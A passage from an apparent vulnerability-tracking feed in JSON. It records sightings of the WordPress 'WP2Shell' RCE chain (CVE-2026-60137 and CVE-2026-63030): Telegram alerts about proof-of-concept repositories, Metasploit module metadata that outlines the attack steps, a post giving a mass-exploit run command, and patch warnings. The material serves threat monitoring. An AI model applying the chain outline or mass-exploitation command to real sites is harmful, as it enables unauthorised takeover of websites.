"CVE-2026-60137", "field": "creation_timestamp", "uuid": "c64222ae-6e86-4b76-981e-e91bd37625af", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a sowarma\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-05 17:49:04\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 & CVE-2026-60137 RCE chain proof-of-concept\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/96790"}, {"timestamp": "2026-08-06T00:00:37.459Z", "date_only": false, "value": "2026-08-06T00:00:37.459865Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/96583", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "914176af-c8d3-403e-a75d-9ba96177b5cf", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-rce\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a johnlodan\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a TypeScript\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-04 10:07:27\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWordPress CVE-2026-63030 and CVE-2026-60137 security tool for detecting exposure to the WP2Shell pre-authentication RCE chain.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/96583"}, {"timestamp": "2026-08-07T10:19:25.706Z", "date_only": false, "value": "2026-08-07T10:19:25.706034Z", "kind": "sighting", "label": "Seen", "source": "Telegram/93z-LIlEULZWbnwEzYtTEAqd1z1QFNuHcbWGMZMdxRz5WQ4", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "68fb229b-a9b8-408f-9795-4855dd624c6e"}, {"timestamp": "2026-08-08T19:02:13.876Z", "date_only": false, "value": "2026-08-08T19:02:13.876112Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/97204", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "0d7ae182-0581-4c61-aa2f-c1bfcc159fa7", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-Exploit-Waf-Bypass\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a M4xSec\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-08 17:41:07\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWordPress Pre-Auth RCE Exploit + Scanner + WAF Bypass | CVE-2026-63030 + CVE-2026-60137 | Go + Python + Metasploit modules + Docker lab\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/97204"}, {"timestamp": "2026-08-09T00:44:32.747Z", "date_only": false, "value": "2026-08-09T00:44:32.747145Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/97204", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "1932141a-2ed9-4b8d-8bc0-679f0788a720", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-Exploit-Waf-Bypass\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a M4xSec\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-08 17:41:07\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWordPress Pre-Auth RCE Exploit + Scanner + WAF Bypass | CVE-2026-63030 + CVE-2026-60137 | Go + Python + Metasploit modules + Docker lab\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/97204"}, {"timestamp": "2026-08-09T05:11:07.777Z", "date_only": false, "value": "2026-08-09T05:11:07.777815Z", "kind": "sighting", "label": "Seen", "source": "Telegram/_vir8PHcFXMNY3qmJBX6iWTyJzWWGg928tieDwqp2_1Bjyo", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "8b37da1a-d6a3-47c6-8452-af544038b3b9"}, {"timestamp": "2026-08-09T08:22:51.521Z", "date_only": false, "value": "2026-08-09T08:22:51.521193Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/alextech-ai.bsky.social/post/3msn5ovmn652y", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "b9ac21c4-0576-4c6d-ae66-c35e8b5c2b45", "content": "From targeted ransomware in Italy to global WordPress exploits, the threat landscape is accelerating. The 'wp2shell' chain (CVE-2026-63030 & CVE-2026-60137) allows full RCE. Patch your WordPress installations immediately to avoid total compromise.", "url": "https://bsky.app/profile/alextech-ai.bsky.social/post/3msn5ovmn652y"}, {"timestamp": "2026-08-10T00:00:09.624Z", "date_only": false, "value": "2026-08-10T00:00:09.624836Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/_vir8PHcFXMNY3qmJBX6iWTyJzWWGg928tieDwqp2_1Bjyo", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "6facb4c5-6e92-4b60-b1e3-3f467e8d3bab"}, {"timestamp": "2026-08-10T10:02:08.868Z", "date_only": false, "value": "2026-08-10T10:02:08.868132Z", "kind": "sighting", "label": "Seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/wp_batch_desync_rce.rb", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "a9cfabe7-3226-42f1-b4e0-43b56c1db225", "content": "{\"aliases\": [], \"arch\": \"php, cmd\", \"author\": [\"Adam Kues\", \"TF1T\", \"dtro\", \"haongo\", \"Crypto-Cat\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module chains two WordPress core vulnerabilities, together known as\\n          WP2Shell, to gain unauthenticated remote code execution against default\\n          installs of WordPress 6.9.0-6.9.4 and 7.0.0-7.0.1.\\n          The vulnerabilities are fixed in WordPress 6.9.5 and 7.0.2.\\n\\n          CVE-2026-60137 is an SQL injection in WP_Query's author__not_in parameter, and\\n          CVE-2026-63030 is a REST API batch endpoint route-confusion bug that lets an\\n          unauthenticated request reach that injection.\\n\\n          The module uses the injection to read the database table prefix and the\\n          administrator user ID, poisons WordPress' object cache to publish a crafted\\n          customizer changeset, and re-enters the REST API with administrator privileges\\n          to create a new administrator account. It then logs in as that account, uploads\\n          a plugin containing a Metasploit payload, and executes it for a session. Once a\\n          session is obtained the uploaded plugin is removed, and the created administrator\\n          account is removed as well unless KeepAdmin is set.\", \"disclosure_date\": \"2026-07-17\", \"fullname\": \"exploit/multi/http/wp_batch_desync_rce\", \"is_install_path\": true, \"mod_time\": \"2026-08-06 12:35:36 +0000\", \"name\": \"WordPress WP2Shell REST API Batch Route Confusion SQLi to RCE\", \"needs_cleanup\": true, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"ioc-in-logs\", \"artifacts-on-disk\", \"config-changes\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/multi/http/wp_batch_desync_rce.rb\", \"platform\": \"Linux,PHP,Unix\", \"post_auth\": true, \"rank\": 600, \"ref_name\": \"multi/http/wp_batch_desync_rce\", \"references\": [\"CVE-2026-63030\", \"CVE-2026-60137\", \"URL-https://wordpress.org/news/2026/07/wordpress-7-0-2-release/\", \"URL-https://slcyber.io/research-center/exploit-brokers-pay-500000-for-a-wordpress-rce-i-found-one-with-gpt5-6/\", \"URL-https://github.com/Crypto-Cat/wp2shell\", \"URL-https://wp2shell.com/\"], \"rport\": 80, \"session_types\": false, \"targets\": [\"PHP In-Memory\", \"Unix/Linux Command Shell\"], \"type\": \"exploit\"}", "url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/wp_batch_desync_rce.rb"}, {"timestamp": "2026-08-10T23:00:03.212Z", "date_only": false, "value": "2026-08-10T23:00:03.212393Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/97494", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "9893446c-c49a-4b3a-b163-fd09d0129086", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a WP2Shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a g0d150ne\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-10 21:08:17\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWP2Shell is a powerful and modular exploit framework that combines two critical WordPress vulnerabilities (CVE-2026-63030 and CVE-2026-60137) to achieve complete compromise of a target site without any credentials. \n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/97494"}, {"timestamp": "2026-08-11T00:00:06.540Z", "date_only": false, "value": "2026-08-11T00:00:06.540159Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/97494", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "cbceebdd-b9e8-42c6-a862-c51409f16297", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a WP2Shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a g0d150ne\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-10 21:08:17\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWP2Shell is a powerful and modular exploit framework that combines two critical WordPress vulnerabilities (CVE-2026-63030 and CVE-2026-60137) to achieve complete compromise of a target site without any credentials. \n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/97494"}, {"timestamp": "2026-08-12T16:00:04.501Z", "date_only": false, "value": "2026-08-12T16:00:04.501973Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/NullXTeam/3067", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "8f36d911-0e35-4671-83d7-f0519138900f", "content": "mari bersama kita ramaikan wp2shell\n\nhttps://github.com/ZephrFish/wp2shell-scanner\nCVE-2026-60137: WP 6.8.0 - 6.8.5\nCVE-2026-63030: WP 6.9.0 - 6.9.4 & 7.0.0 - 7.0.1", "url": "https://t.me/NullXTeam/3067"}, {"timestamp": "2026-08-13T08:46:09.426Z", "date_only": false, "value": "2026-08-13T08:46:09.426078Z", "kind": "sighting", "label": "Seen", "source": "https://www.cert.ssi.gouv.fr/actualite/CERTFR-2026-ACT-034", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "6fbd983f-716d-4b8d-a432-e2be70028cab", "url": "https://www.cert.ssi.gouv.fr/actualite/CERTFR-2026-ACT-034"}, {"timestamp": "2026-08-16T19:00:04.137Z", "date_only": false, "value": "2026-08-16T19:00:04.137996Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/FOx_CyberSecurity/46", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "beea1059-2df4-4eba-bb83-6c265397e67b", "content": "wp2shell \u2014 CVE-2026-63030 + CVE-2026-60137 : WordPress core pre-auth RCE. \n\nMass (Exploit + Login + UP-Shell) \ud83e\udd8a\n\nRun:\nwp2shell.py wordpress.txt\n\nFiles folder must be present with Python file.\n\n#AnonymousFox", "url": "https://t.me/FOx_CyberSecurity/46"}, {"timestamp": "2026-08-19T02:10:40.733Z", "date_only": false, "value": "2026-08-19T02:10:40.733819Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mtfnogo7cc2h", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "a8951327-ed6b-4d46-8063-f8c59c1d3057", "content": "\u300cWordPress\u300d\u306b\u8907\u6570\u306e\u8106\u5f31\u6027 - \u9023\u9396\u3067RCE\u306e\u304a\u305d\u308c\n\n\u30b3\u30f3\u30c6\u30f3\u30c4\u30de\u30cd\u30b8\u30e1\u30f3\u30c8\u30b7\u30b9\u30c6\u30e0\u300cWordPress\u300d\u306e\u958b\u767a\u30c1\u30fc\u30e0\u306f\u73fe\u5730\u6642\u95932026\u5e747\u670817\u65e5\u3001\u300c\u540c7.0.2\u300d\u3092\u306f\u3058\u3081\u3068\u3059\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ea\u30ea\u30fc\u30b9\u3092\u516c\u958b\u3057\u305f\u3002\u6df1\u523b\u306a\u8106\u5f31\u6027\u3078\u5bfe\u51e6\u3057\u3066\u304a\u308a\u3001\u65e9\u6025\u306b\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u5b9f\u65bd\u3059\u308b\u3088\u3046\u5229\u7528\u8005\u306b\u6c42\u3081\u3066\u3044\u308b\u3002\n\n\u4eca\u56de\u306e\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3067\u306f\u30012\u4ef6\u306e\u8106\u5f31\u6027\u300cCVE-2026-63030\u300d\u300cCVE-2026-60137\u300d\u3078\u5bfe\u51e6\u3057\u305f\u3002\u3053\u308c\u30892\u4ef6\u306e\u8106\u5f31\u6027\u3092\u7d44\u307f\u5408\u308f\u305b\u308b\u3053\u3068\u3067\u30ea\u30e2\u30fc\u30c8\u3088\u308a\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3059\u308b\u3053\u3068\u304c\u53ef\u80fd\u306b\u306a\u308b\u3068\u3044\u3046\u3002\n\n\u300cCVE-2026-60137\u300d\u306f\u3001\u4e00\u90e8\u95a2\u6570\u306e\u30d1\u30e9\u30e1\u30fc\u30bf\u306b\u5bfe\u3059\u308b\u5165\u529b\u691c\u8a3c\u4e0d\u5099\u306e\u8106...", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mtfnogo7cc2h"}, {"timestamp": "2026-08-20T16:44:01.965Z", "date_only": false, "value": "2026-08-20T16:44:01.965507Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/dataguidance.bsky.social/post/3mtjox3kkt326", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "7b599cb0-3bd6-4ce6-be9c-b04e78a09754", "content": "Saxony\u2019s data protection authority warns WordPress and Joomla operators about critical vulnerabilities.\n\nKey actions:\n\ud83e\ude79 Patch CVE-2026-60137, CVE-2026-63030, and CVE-2026-48907\n\ud83d\udce3 Assess GDPR notification duties after unauthorized access\n\nLearn more: https://bit.ly/3ScJoJD", "url": "https://bsky.app/profile/dataguidance.bsky.social/post/3mtjox3kkt326"}, {"timestamp": "2026-08-20T22:05:19.065Z", "date_only": false, "value": "2026-08-20T22:05:19.065410Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mtkavmesvk2o", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "181c7a6c-a8ac-4936-a0f6-137ab2245dd5", "content": "\u300cWordPress\u300d\u300cLangflow\u300d\u306e\u8106\u5f31\u6027\u60aa\u7528\u306b\u8b66\u6212\u3092 - \u7c73\u5f53\u5c40\u304c\u6ce8\u610f\u559a\u8d77\n\n\u7c73\u5f53\u5c40\u306f\u3001\u300cWordPress\u300d\u3084\u300cLangflow\u300d\u306a\u3069\u3067\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u3066\u3044\u308b\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\u6ce8\u610f\u559a\u8d77\u3092\u884c\u3063\u305f\u3002\n\n\u7c73\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u73fe\u5730\u6642\u95932026\u5e747\u670821\u65e5\u3001\u300c\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u305f\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\uff08KEV\uff09\u300d\u306b4\u4ef6\u306e\u8106\u5f31\u6027\u3092\u8ffd\u52a0\u3057\u305f\u3082\u306e\u3002\n\n\u30b3\u30f3\u30c6\u30f3\u30c4\u30de\u30cd\u30b8\u30e1\u30f3\u30c8\u30b7\u30b9\u30c6\u30e0\u300cWordPress\u300d\u306b\u78ba\u8a8d\u3055\u308c\u305f2\u4ef6\u306e\u8106\u5f31\u6027\u300cCVE-2026-60137\u300d\u300cCVE-2026-63030\u300d\u3092\u8ffd\u52a0\u3057\u305f\u3002\u958b\u767a\u30c1\u30fc\u30e0\u3067\u306f\u3053\u308c\u3089\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\u9023\u9396\u7684\u306b\u60aa\u7528\u3055\u308c\u308b\u304a\u305d\u308c\u304c...", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mtkavmesvk2o"}, {"timestamp": "2026-08-21T23:00:08.397Z", "date_only": false, "value": "2026-08-21T23:00:08.397313Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/pphm_HackerNews/2148", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "80d2d4c2-3aec-4fb3-b7fc-7d644d667e70", "content": "\ud83d\udd34 WP2Shell WordPress Vulnerabilities Exploited in the Wild\n\nTwo newly patched WordPress vulnerabilities are being exploited in the wild, with attacks beginning shortly after they came to light. \n\nThe vulnerabilities have been dubbed WP2Shell and they are officially tracked as CVE-2026-60137 and CVE-2026-63030. \n\nAccording to Searchlight Cyber, whose researchers discovered the flaws, WordPress versions 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1 are affected. \n\n\u201cThe attack has no preconditions and can be exploited by an anonymous user in a stock install of WordPress with no plugins,\u201d the security firm warned.", "url": "https://t.me/pphm_HackerNews/2148"}, {"timestamp": "2026-08-22T19:00:05.202Z", "date_only": false, "value": "2026-08-22T19:00:05.202074Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/99012", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "793eb9e8-0ea3-4f92-9ff2-c19f668de596", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a DeadExpl0it\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-21 04:42:00\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nwp2shell \u2014 WordPress Core Pre-Auth RCE Chain poc for CVE-2026-63030 and CVE-2026-60137\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/99012"}, {"timestamp": "2026-08-22T19:00:05.479Z", "date_only": false, "value": "2026-08-22T19:00:05.479608Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/98928", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "6716c9a9-1099-4c83-9354-55784a0f41bc", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-63030-lab\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a mhassani97\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Dockerfile\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-20 12:27:20\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nwp2shell (CVE-2026-63030 & CVE-2026-60137) - full RCE chain\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/98928"}, {"timestamp": "2026-08-22T19:00:06.338Z", "date_only": false, "value": "2026-08-22T19:00:06.338777Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/98743", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "52b1c5f1-1a5e-418a-b653-70ad7e02719e", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a POC-CVE-2026-63030-CVE-2026-60137-\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a TranDongA3\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-19 08:42:32\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/98743"}, {"timestamp": "2026-08-23T00:00:30.593Z", "date_only": false, "value": "2026-08-23T00:00:30.593225Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/98743", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "fc54be92-4ebf-4e55-9e47-f2208b09c7ea", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a POC-CVE-2026-63030-CVE-2026-60137-\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a TranDongA3\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-19 08:42:32\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/98743"}, {"timestamp": "2026-08-23T00:00:30.791Z", "date_only": false, "value": "2026-08-23T00:00:30.791190Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/98928", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "cd8d4875-9c30-4e26-9d54-1e51dacdfd0f", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-63030-lab\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a mhassani97\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Dockerfile\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-20 12:27:20\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nwp2shell (CVE-2026-63030 & CVE-2026-60137) - full RCE chain\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/98928"}, {"timestamp": "2026-08-23T00:00:31.118Z", "date_only": false, "value": "2026-08-23T00:00:31.118922Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/99012", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "3f9158a3-5199-44b3-9a4d-572f44621ab6", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a DeadExpl0it\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-21 04:42:00\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nwp2shell \u2014 WordPress Core Pre-Auth RCE Chain poc for CVE-2026-63030 and CVE-2026-60137\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/99012"}, {"timestamp": "2026-08-23T00:00:44.638Z", "date_only": false, "value": "2026-08-23T00:00:44.638685Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/pphm_HackerNews/2148", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "8dda87c3-4bce-46c3-933e-06a6347d278b", "content": "\ud83d\udd34 WP2Shell WordPress Vulnerabilities Exploited in the Wild\n\nTwo newly patched WordPress vulnerabilities are being exploited in the wild, with attacks beginning shortly after they came to light. \n\nThe vulnerabilities have been dubbed WP2Shell and they are officially tracked as CVE-2026-60137 and CVE-2026-63030. \n\nAccording to Searchlight Cyber, whose researchers discovered the flaws, WordPress versions 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1 are affected. \n\n\u201cThe attack has no preconditions and can be exploited by an anonymous user in a stock install of WordPress with no plugins,\u201d the security firm warned.", "url": "https://t.me/pphm_HackerNews/2148"}, {"timestamp": "2026-08-24T00:00:00Z", "date_only": false, "value": "2026-08-24T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_alerte \u00b7 CERTFR-2026-ALE-007", "record": "CERTFR-2026-ALE-007", "field": "last_revision_date"}, {"timestamp": "2026-08-24T00:00:00Z", "date_only": false, "value": "2026-08-24T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_alerte \u00b7 CERTFR-2026-ALE-007", "record": "CERTFR-2026-ALE-007", "field": "revisions.2.revision_date"}, {"timestamp": "2026-08-27T20:29:02.550Z", "date_only": false, "value": "2026-08-27T20:29:02.550087Z", "kind": "sighting", "label": "Seen", "source": 